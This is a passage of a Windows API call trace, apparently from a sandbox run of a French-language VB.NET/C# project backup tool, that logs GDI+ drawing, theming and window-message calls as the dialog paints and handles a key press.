[0225.209] GetNearestColor (hdc=0x4f010733, color=0x696969) returned 0x696969 [0225.209] GetNearestColor (hdc=0x4f010733, color=0xa0a0a0) returned 0xa0a0a0 [0225.209] GetNearestColor (hdc=0x4f010733, color=0x0) returned 0x0 [0225.209] GetNearestColor (hdc=0x4f010733, color=0xffffff) returned 0xffffff [0225.209] GetNearestColor (hdc=0x4f010733, color=0xe5e5e5) returned 0xe5e5e5 [0225.209] GetNearestColor (hdc=0x4f010733, color=0xd7d7d7) returned 0xd7d7d7 [0225.209] GetNearestColor (hdc=0x4f010733, color=0x0) returned 0x0 [0225.209] RestoreDC (hdc=0x4f010733, nSavedDC=-1) returned 1 [0225.209] GdipReleaseDC (graphics=0x4ae5320, hdc=0x4f010733) returned 0x0 [0225.209] IsAppThemed () returned 0x1 [0225.209] GetThemeAppProperties () returned 0x3 [0225.209] GetThemeAppProperties () returned 0x3 [0225.209] IsAppThemed () returned 0x1 [0225.209] GetThemeAppProperties () returned 0x3 [0225.210] GetThemeAppProperties () returned 0x3 [0225.210] DrawTextExW (in: hdc=0xb0101e5, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x2be43c, format=0x102415, lpdtp=0x25254a4 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x2be43c) returned 13 [0225.210] IsAppThemed () returned 0x1 [0225.210] GetThemeAppProperties () returned 0x3 [0225.210] GetThemeAppProperties () returned 0x3 [0225.210] IsAppThemed () returned 0x1 [0225.210] GetThemeAppProperties () returned 0x3 [0225.210] GetThemeAppProperties () returned 0x3 [0225.210] GetFocus () returned 0x1019c [0225.210] IsAppThemed () returned 0x1 [0225.210] GetThemeAppProperties () returned 0x3 [0225.210] GetThemeAppProperties () returned 0x3 [0225.210] IsAppThemed () returned 0x1 [0225.210] GetThemeAppProperties () returned 0x3 [0225.210] GetThemeAppProperties () returned 0x3 [0225.210] IsThemePartDefined () returned 0x1 [0225.210] IsAppThemed () returned 0x1 [0225.210] GetThemeAppProperties () returned 0x3 [0225.210] GetThemeAppProperties () returned 0x3 [0225.210] IsThemeBackgroundPartiallyTransparent () returned 0x1 [0225.210] IsAppThemed () returned 0x1 [0225.210] GetThemeAppProperties () returned 0x3 [0225.210] GetThemeAppProperties () returned 0x3 [0225.210] IsAppThemed () returned 0x1 [0225.210] GetThemeAppProperties () returned 0x3 [0225.210] GetThemeAppProperties () returned 0x3 [0225.210] IsThemePartDefined () returned 0x1 [0225.210] GdipCreateRegion (region=0x2be484) returned 0x0 [0225.210] GdipGetClip (graphics=0x4ae5320, region=0x4ae5bc0) returned 0x0 [0225.210] GdipCreateMatrix (matrix=0x2be484) returned 0x0 [0225.210] GdipGetWorldTransform (graphics=0x4ae5320, matrix=0x4ae5280) returned 0x0 [0225.210] GdipIsMatrixIdentity (matrix=0x4ae5280, result=0x2be49c) returned 0x0 [0225.210] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x568c50 [0225.210] GdipGetMatrixElements (matrix=0x4ae5280, matrixOut=0x568c50) returned 0x0 [0225.210] LocalFree (hMem=0x568c50) returned 0x0 [0225.210] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x568c50 [0225.210] GdipGetMatrixElements (matrix=0x4ae5280, matrixOut=0x568c50) returned 0x0 [0225.211] LocalFree (hMem=0x568c50) returned 0x0 [0225.211] GdipDeleteMatrix (matrix=0x4ae5280) returned 0x0 [0225.211] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be4c4) returned 0x0 [0225.211] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be4b4) returned 0x0 [0225.211] GdipGetRegionHRgn (region=0x4ae5bc0, graphics=0x4ae5320, hRgn=0x2be4b4) returned 0x0 [0225.211] GdipDeleteRegion (region=0x4ae5bc0) returned 0x0 [0225.211] GdipGetDC (graphics=0x4ae5320, hdc=0x2be4cc) returned 0x0 [0225.211] GetCurrentObject (hdc=0x4f010733, type=0x1) returned 0x1b00017 [0225.211] GetCurrentObject (hdc=0x4f010733, type=0x2) returned 0x1900010 [0225.211] GetCurrentObject (hdc=0x4f010733, type=0x7) returned 0x210506ba [0225.211] GetCurrentObject (hdc=0x4f010733, type=0x6) returned 0x18a002e [0225.211] SaveDC (hdc=0x4f010733) returned 1 [0225.211] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x2c0401eb [0225.211] GetClipRgn (hdc=0x4f010733, hrgn=0x2c0401eb) returned 0 [0225.211] SelectClipRgn (hdc=0x4f010733, hrgn=0x31040789) returned 2 [0225.211] DeleteObject (ho=0x2c0401eb) returned 1 [0225.211] DeleteObject (ho=0x31040789) returned 1 [0225.211] OffsetViewportOrgEx (in: hdc=0x4f010733, x=0, y=0, lppt=0x2525b54 | out: lppt=0x2525b54) returned 1 [0225.211] DrawThemeParentBackground () returned 0x0 [0225.211] GetWindowPlacement (in: hWnd=0x40150, lpwndpl=0x2be240 | out: lpwndpl=0x2be240) returned 1 [0225.211] GetClientRect (in: hWnd=0x40150, lpRect=0x2be1ec | out: lpRect=0x2be1ec) returned 1 [0225.211] GetWindowTextLengthW (hWnd=0x40150) returned 35 [0225.211] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0225.212] GetSystemMetrics (nIndex=42) returned 0 [0225.212] GetWindowTextW (in: hWnd=0x40150, lpString=0x2be07c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0225.212] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xd, wParam=0x24, lParam=0x2be07c) returned 0x23 [0225.212] GetClientRect (in: hWnd=0x40150, lpRect=0x2be0f4 | out: lpRect=0x2be0f4) returned 1 [0225.212] GetCurrentObject (hdc=0x4f010733, type=0x1) returned 0x1b00017 [0225.212] GetCurrentObject (hdc=0x4f010733, type=0x2) returned 0x1900010 [0225.212] GetCurrentObject (hdc=0x4f010733, type=0x7) returned 0x210506ba [0225.212] GetCurrentObject (hdc=0x4f010733, type=0x6) returned 0x18a002e [0225.212] SaveDC (hdc=0x4f010733) returned 2 [0225.212] GetNearestColor (hdc=0x4f010733, color=0xf0f0f0) returned 0xf0f0f0 [0225.212] CreateSolidBrush (color=0xf0f0f0) returned 0x221006a2 [0225.212] FillRect (hDC=0x4f010733, lprc=0x2bdf94, hbr=0x221006a2) returned 1 [0225.212] DeleteObject (ho=0x221006a2) returned 1 [0225.212] RestoreDC (hdc=0x4f010733, nSavedDC=-1) returned 1 [0225.212] GetWindowTextLengthW (hWnd=0x40150) returned 35 [0225.212] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0225.212] GetSystemMetrics (nIndex=42) returned 0 [0225.212] GetWindowTextW (in: hWnd=0x40150, lpString=0x2be01c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0225.212] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xd, wParam=0x24, lParam=0x2be01c) returned 0x23 [0225.213] GetClientRect (in: hWnd=0x40150, lpRect=0x2be094 | out: lpRect=0x2be094) returned 1 [0225.213] GetCurrentObject (hdc=0x4f010733, type=0x1) returned 0x1b00017 [0225.213] GetCurrentObject (hdc=0x4f010733, type=0x2) returned 0x1900010 [0225.213] GetCurrentObject (hdc=0x4f010733, type=0x7) returned 0x210506ba [0225.213] GetCurrentObject (hdc=0x4f010733, type=0x6) returned 0x18a002e [0225.213] SaveDC (hdc=0x4f010733) returned 2 [0225.213] GetNearestColor (hdc=0x4f010733, color=0xf0f0f0) returned 0xf0f0f0 [0225.213] CreateSolidBrush (color=0xf0f0f0) returned 0x231006a2 [0225.213] FillRect (hDC=0x4f010733, lprc=0x2bdf34, hbr=0x231006a2) returned 1 [0225.213] DeleteObject (ho=0x231006a2) returned 1 [0225.213] RestoreDC (hdc=0x4f010733, nSavedDC=-1) returned 1 [0225.213] GetWindowTextLengthW (hWnd=0x40150) returned 35 [0225.213] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0225.213] GetSystemMetrics (nIndex=42) returned 0 [0225.213] GetWindowTextW (in: hWnd=0x40150, lpString=0x2be01c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0225.213] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xd, wParam=0x24, lParam=0x2be01c) returned 0x23 [0225.213] RestoreDC (hdc=0x4f010733, nSavedDC=-1) returned 1 [0225.213] GdipReleaseDC (graphics=0x4ae5320, hdc=0x4f010733) returned 0x0 [0225.213] IsAppThemed () returned 0x1 [0225.213] GetThemeAppProperties () returned 0x3 [0225.213] GetThemeAppProperties () returned 0x3 [0225.213] IsAppThemed () returned 0x1 [0225.213] GetThemeAppProperties () returned 0x3 [0225.213] GetThemeAppProperties () returned 0x3 [0225.213] IsThemePartDefined () returned 0x1 [0225.213] GdipCreateRegion (region=0x2be428) returned 0x0 [0225.214] GdipGetClip (graphics=0x4ae5320, region=0x4ae5bc0) returned 0x0 [0225.214] GdipCreateMatrix (matrix=0x2be428) returned 0x0 [0225.214] GdipGetWorldTransform (graphics=0x4ae5320, matrix=0x4ae5250) returned 0x0 [0225.214] GdipIsMatrixIdentity (matrix=0x4ae5250, result=0x2be440) returned 0x0 [0225.214] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x568c50 [0225.214] GdipGetMatrixElements (matrix=0x4ae5250, matrixOut=0x568c50) returned 0x0 [0225.214] LocalFree (hMem=0x568c50) returned 0x0 [0225.214] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x568c50 [0225.214] GdipGetMatrixElements (matrix=0x4ae5250, matrixOut=0x568c50) returned 0x0 [0225.214] LocalFree (hMem=0x568c50) returned 0x0 [0225.214] GdipDeleteMatrix (matrix=0x4ae5250) returned 0x0 [0225.214] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be468) returned 0x0 [0225.214] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be458) returned 0x0 [0225.214] GdipGetRegionHRgn (region=0x4ae5bc0, graphics=0x4ae5320, hRgn=0x2be458) returned 0x0 [0225.214] GdipDeleteRegion (region=0x4ae5bc0) returned 0x0 [0225.214] GdipGetDC (graphics=0x4ae5320, hdc=0x2be470) returned 0x0 [0225.214] GetCurrentObject (hdc=0x4f010733, type=0x1) returned 0x1b00017 [0225.214] GetCurrentObject (hdc=0x4f010733, type=0x2) returned 0x1900010 [0225.214] GetCurrentObject (hdc=0x4f010733, type=0x7) returned 0x210506ba [0225.214] GetCurrentObject (hdc=0x4f010733, type=0x6) returned 0x18a002e [0225.214] SaveDC (hdc=0x4f010733) returned 1 [0225.214] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x32040789 [0225.214] GetClipRgn (hdc=0x4f010733, hrgn=0x32040789) returned 0 [0225.214] SelectClipRgn (hdc=0x4f010733, hrgn=0x2e0401eb) returned 2 [0225.214] DeleteObject (ho=0x32040789) returned 1 [0225.214] DeleteObject (ho=0x2e0401eb) returned 1 [0225.214] OffsetViewportOrgEx (in: hdc=0x4f010733, x=0, y=0, lppt=0x252658c | out: lppt=0x252658c) returned 1 [0225.215] IsAppThemed () returned 0x1 [0225.215] GetThemeAppProperties () returned 0x3 [0225.215] GetThemeAppProperties () returned 0x3 [0225.215] DrawThemeBackground () returned 0x0 [0225.215] RestoreDC (hdc=0x4f010733, nSavedDC=-1) returned 1 [0225.215] GdipReleaseDC (graphics=0x4ae5320, hdc=0x4f010733) returned 0x0 [0225.215] GdipCreateRegion (region=0x2be410) returned 0x0 [0225.215] GdipGetClip (graphics=0x4ae5320, region=0x4ae5bc0) returned 0x0 [0225.215] GdipCreateMatrix (matrix=0x2be410) returned 0x0 [0225.215] GdipGetWorldTransform (graphics=0x4ae5320, matrix=0x4ae5280) returned 0x0 [0225.215] GdipIsMatrixIdentity (matrix=0x4ae5280, result=0x2be428) returned 0x0 [0225.215] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x568c50 [0225.215] GdipGetMatrixElements (matrix=0x4ae5280, matrixOut=0x568c50) returned 0x0 [0225.215] LocalFree (hMem=0x568c50) returned 0x0 [0225.215] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x568c50 [0225.215] GdipGetMatrixElements (matrix=0x4ae5280, matrixOut=0x568c50) returned 0x0 [0225.215] LocalFree (hMem=0x568c50) returned 0x0 [0225.215] GdipDeleteMatrix (matrix=0x4ae5280) returned 0x0 [0225.215] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be450) returned 0x0 [0225.215] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be440) returned 0x0 [0225.215] GdipGetRegionHRgn (region=0x4ae5bc0, graphics=0x4ae5320, hRgn=0x2be440) returned 0x0 [0225.215] GdipDeleteRegion (region=0x4ae5bc0) returned 0x0 [0225.215] GdipGetDC (graphics=0x4ae5320, hdc=0x2be458) returned 0x0 [0225.215] GetCurrentObject (hdc=0x4f010733, type=0x1) returned 0x1b00017 [0225.215] GetCurrentObject (hdc=0x4f010733, type=0x2) returned 0x1900010 [0225.215] GetCurrentObject (hdc=0x4f010733, type=0x7) returned 0x210506ba [0225.215] GetCurrentObject (hdc=0x4f010733, type=0x6) returned 0x18a002e [0225.215] SaveDC (hdc=0x4f010733) returned 1 [0225.216] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x2f0401eb [0225.216] GetClipRgn (hdc=0x4f010733, hrgn=0x2f0401eb) returned 0 [0225.216] SelectClipRgn (hdc=0x4f010733, hrgn=0x33040789) returned 2 [0225.216] DeleteObject (ho=0x2f0401eb) returned 1 [0225.216] DeleteObject (ho=0x33040789) returned 1 [0225.216] OffsetViewportOrgEx (in: hdc=0x4f010733, x=0, y=0, lppt=0x2526860 | out: lppt=0x2526860) returned 1 [0225.216] IsAppThemed () returned 0x1 [0225.216] GetThemeAppProperties () returned 0x3 [0225.216] GetThemeAppProperties () returned 0x3 [0225.216] GetThemeBackgroundContentRect () returned 0x0 [0225.216] RestoreDC (hdc=0x4f010733, nSavedDC=-1) returned 1 [0225.216] GdipReleaseDC (graphics=0x4ae5320, hdc=0x4f010733) returned 0x0 [0225.216] IsAppThemed () returned 0x1 [0225.216] GetThemeAppProperties () returned 0x3 [0225.216] GetThemeAppProperties () returned 0x3 [0225.216] GdipGetTextRenderingHint (graphics=0x4ae5320, mode=0x2be588) returned 0x0 [0225.216] GdipGetDC (graphics=0x4ae5320, hdc=0x2be574) returned 0x0 [0225.216] GetCurrentObject (hdc=0x4f010733, type=0x1) returned 0x1b00017 [0225.216] GetCurrentObject (hdc=0x4f010733, type=0x2) returned 0x1900010 [0225.216] GetCurrentObject (hdc=0x4f010733, type=0x7) returned 0x210506ba [0225.216] GetCurrentObject (hdc=0x4f010733, type=0x6) returned 0x18a002e [0225.216] SaveDC (hdc=0x4f010733) returned 1 [0225.216] GetTextAlign (hdc=0x4f010733) returned 0x0 [0225.216] GetTextColor (hdc=0x4f010733) returned 0x0 [0225.216] GetCurrentObject (hdc=0x4f010733, type=0x6) returned 0x18a002e [0225.216] GetObjectW (in: h=0x18a002e, c=92, pv=0x2be27c | out: pv=0x2be27c) returned 92 [0225.216] SelectObject (hdc=0x4f010733, h=0x90a01e9) returned 0x18a002e [0225.217] GetBkMode (hdc=0x4f010733) returned 2 [0225.217] SetBkMode (hdc=0x4f010733, mode=1) returned 2 [0225.217] DrawTextExW (in: hdc=0x4f010733, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x2be350, format=0x102415, lpdtp=0x2526bf4 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x2be350) returned 13 [0225.217] DrawTextExW (in: hdc=0x4f010733, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x2be508, format=0x102015, lpdtp=0x2526bf4 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x2be508) returned 13 [0225.217] RestoreDC (hdc=0x4f010733, nSavedDC=-1) returned 1 [0225.217] GdipReleaseDC (graphics=0x4ae5320, hdc=0x4f010733) returned 0x0 [0225.217] GetFocus () returned 0x1019c [0225.217] IsAppThemed () returned 0x1 [0225.217] GetThemeAppProperties () returned 0x3 [0225.217] GetThemeAppProperties () returned 0x3 [0225.217] GdipGetDC (graphics=0x4ae5320, hdc=0x2be754) returned 0x0 [0225.217] BitBlt (hdc=0x701068c, x=0, y=0, cx=163, cy=29, hdcSrc=0x4f010733, x1=0, y1=0, rop=0xcc0020) returned 1 [0225.217] GdipReleaseDC (graphics=0x4ae5320, hdc=0x4f010733) returned 0x0 [0225.217] SelectPalette (hdc=0x701068c, hPal=0x188000b, bForceBkgd=0) returned 0x300807ef [0225.217] SelectObject (hdc=0x4f010733, h=0x185000f) returned 0x210506ba [0225.217] DeleteDC (hdc=0x4f010733) returned 1 [0225.217] GdipDeleteGraphics (graphics=0x4ae5320) returned 0x0 [0225.217] EndPaint (hWnd=0x1019c, lpPaint=0x2be6f8) returned 1 [0225.218] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0225.218] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0225.218] WaitMessage () returned 1 [0225.305] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0225.305] IsWindowUnicode (hWnd=0x20152) returned 1 [0225.305] GetMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2bec18) returned 1 [0225.305] TranslateMessage (lpMsg=0x2bec18) returned 0 [0225.305] DispatchMessageW (lpMsg=0x2bec18) returned 0x0 [0225.305] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0225.305] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0225.305] WaitMessage () returned 1 [0225.508] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0225.508] IsWindowUnicode (hWnd=0x1019e) returned 1 [0225.508] GetMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2bec18) returned 1 [0225.508] TranslateMessage (lpMsg=0x2bec18) returned 0 [0225.508] DispatchMessageW (lpMsg=0x2bec18) returned 0x0 [0225.508] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0225.508] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0225.508] WaitMessage () returned 1 [0226.274] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0226.274] IsWindowUnicode (hWnd=0x1019c) returned 1 [0226.274] GetMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2bec18) returned 1 [0226.274] GetKeyState (nVirtKey=16) returned 0 [0226.274] GetKeyState (nVirtKey=17) returned 0 [0226.274] GetKeyState (nVirtKey=18) returned -128 [0226.274] SendMessageW (hWnd=0x1019c, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x3 [0226.274] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x3 [0226.274] GetParent (hWnd=0x40150) returned 0x0 [0226.274] SendMessageW (hWnd=0x40150, Msg=0x127, wParam=0x20002, lParam=0x0) returned 0x0 [0226.274] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0x127, wParam=0x20002, lParam=0x0) returned 0x0 [0226.274] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0x128, wParam=0x20002, lParam=0x0) returned 0x0 [0226.274] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10188, Msg=0x128, wParam=0x20002, lParam=0x0) returned 0x0 [0226.275] GetStockObject (i=5) returned 0x1900015 [0226.275] GetDlgItem (hDlg=0x40150, nIDDlgItem=65928) returned 0x10188 [0226.275] SendMessageW (hWnd=0x10188, Msg=0x202b, wParam=0x10188, lParam=0x2bdd04) returned 0x0 [0226.275] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10188, Msg=0x202b, wParam=0x10188, lParam=0x2bdd04) returned 0x0 [0226.275] RedrawWindow (hWnd=0x10188, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0226.275] CallWindowProcW (lpPrevWndFunc=0x70f769b9, hWnd=0x1018a, Msg=0x128, wParam=0x20002, lParam=0x0) returned 0x0 [0226.275] InvalidateRect (hWnd=0x1018a, lpRect=0x0, bErase=1) returned 1 [0226.275] RedrawWindow (hWnd=0x1018a, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0226.275] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x1018c, Msg=0x128, wParam=0x20002, lParam=0x0) returned 0x0 [0226.275] GetStockObject (i=5) returned 0x1900015 [0226.275] GetDlgItem (hDlg=0x40150, nIDDlgItem=65932) returned 0x1018c [0226.275] SendMessageW (hWnd=0x1018c, Msg=0x202b, wParam=0x1018c, lParam=0x2bdd04) returned 0x0 [0226.275] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x1018c, Msg=0x202b, wParam=0x1018c, lParam=0x2bdd04) returned 0x0 [0226.275] RedrawWindow (hWnd=0x1018c, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0226.275] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x1018e, Msg=0x128, wParam=0x20002, lParam=0x0) returned 0x0 [0226.276] GetStockObject (i=5) returned 0x1900015 [0226.276] GetDlgItem (hDlg=0x40150, nIDDlgItem=65934) returned 0x1018e [0226.276] SendMessageW (hWnd=0x1018e, Msg=0x202b, wParam=0x1018e, lParam=0x2bdd04) returned 0x0 [0226.276] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x1018e, Msg=0x202b, wParam=0x1018e, lParam=0x2bdd04) returned 0x0 [0226.276] RedrawWindow (hWnd=0x1018e, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0226.276] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10190, Msg=0x128, wParam=0x20002, lParam=0x0) returned 0x0 [0226.276] GetStockObject (i=5) returned 0x1900015 [0226.276] GetDlgItem (hDlg=0x40150, nIDDlgItem=65936) returned 0x10190 [0226.276] SendMessageW (hWnd=0x10190, Msg=0x202b, wParam=0x10190, lParam=0x2bdd04) returned 0x0 [0226.276] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10190, Msg=0x202b, wParam=0x10190, lParam=0x2bdd04) returned 0x0 [0226.276] RedrawWindow (hWnd=0x10190, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0226.276] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10192, Msg=0x128, wParam=0x20002, lParam=0x0) returned 0x0 [0226.276] GetStockObject (i=5) returned 0x1900015 [0226.276] GetDlgItem (hDlg=0x40150, nIDDlgItem=65938) returned 0x10192 [0226.276] SendMessageW (hWnd=0x10192, Msg=0x202b, wParam=0x10192, lParam=0x2bdd04) returned 0x0 [0226.277] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10192, Msg=0x202b, wParam=0x10192, lParam=0x2bdd04) returned 0x0 [0226.277] RedrawWindow (hWnd=0x10192, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0226.277] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10194, Msg=0x128, wParam=0x20002, lParam=0x0) returned 0x0 [0226.277] GetStockObject (i=5) returned 0x1900015 [0226.277] GetDlgItem (hDlg=0x40150, nIDDlgItem=65940) returned 0x10194 [0226.277] SendMessageW (hWnd=0x10194, Msg=0x202b, wParam=0x10194, lParam=0x2bdd04) returned 0x0 [0226.277] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10194, Msg=0x202b, wParam=0x10194, lParam=0x2bdd04) returned 0x0 [0226.277] RedrawWindow (hWnd=0x10194, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0226.277] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10196, Msg=0x128, wParam=0x20002, lParam=0x0) returned 0x0 [0226.277] GetStockObject (i=5) returned 0x1900015 [0226.277] GetDlgItem (hDlg=0x40150, nIDDlgItem=65942) returned 0x10196 [0226.277] SendMessageW (hWnd=0x10196, Msg=0x202b, wParam=0x10196, lParam=0x2bdd04) returned 0x0 [0226.277] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10196, Msg=0x202b, wParam=0x10196, lParam=0x2bdd04) returned 0x0 [0226.277] RedrawWindow (hWnd=0x10196, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0226.277] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10198, Msg=0x128, wParam=0x20002, lParam=0x0) returned 0x0 [0226.278] GetStockObject (i=5) returned 0x1900015 [0226.278] GetDlgItem (hDlg=0x40150, nIDDlgItem=65944) returned 0x10198 [0226.278] SendMessageW (hWnd=0x10198, Msg=0x202b, wParam=0x10198, lParam=0x2bdd04) returned 0x0 [0226.278] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10198, Msg=0x202b, wParam=0x10198, lParam=0x2bdd04) returned 0x0 [0226.278] RedrawWindow (hWnd=0x10198, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0226.278] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x1019a, Msg=0x128, wParam=0x20002, lParam=0x0) returned 0x0 [0226.278] GetStockObject (i=5) returned 0x1900015 [0226.278] GetDlgItem (hDlg=0x40150, nIDDlgItem=65946) returned 0x1019a [0226.278] SendMessageW (hWnd=0x1019a, Msg=0x202b, wParam=0x1019a, lParam=0x2bdd04) returned 0x0 [0226.278] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x1019a, Msg=0x202b, wParam=0x1019a, lParam=0x2bdd04) returned 0x0 [0226.278] RedrawWindow (hWnd=0x1019a, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0226.278] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x128, wParam=0x20002, lParam=0x0) returned 0x0 [0226.278] GetStockObject (i=5) returned 0x1900015 [0226.278] GetStockObject (i=5) returned 0x1900015 [0226.279] GetDlgItem (hDlg=0x40150, nIDDlgItem=65948) returned 0x1019c [0226.279] SendMessageW (hWnd=0x1019c, Msg=0x202b, wParam=0x1019c, lParam=0x2bdc40) returned 0x0 [0226.279] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x202b, wParam=0x1019c, lParam=0x2bdc40) returned 0x0 [0226.279] RedrawWindow (hWnd=0x1019c, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0226.279] RedrawWindow (hWnd=0x40150, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0226.279] GetKeyState (nVirtKey=16) returned 0 [0226.279] GetKeyState (nVirtKey=17) returned 0 [0226.279] GetKeyState (nVirtKey=18) returned -128 [0226.281] TranslateMessage (lpMsg=0x2bec18) returned 1 [0226.281] DispatchMessageW (lpMsg=0x2bec18) returned 0x0 [0226.281] GetKeyState 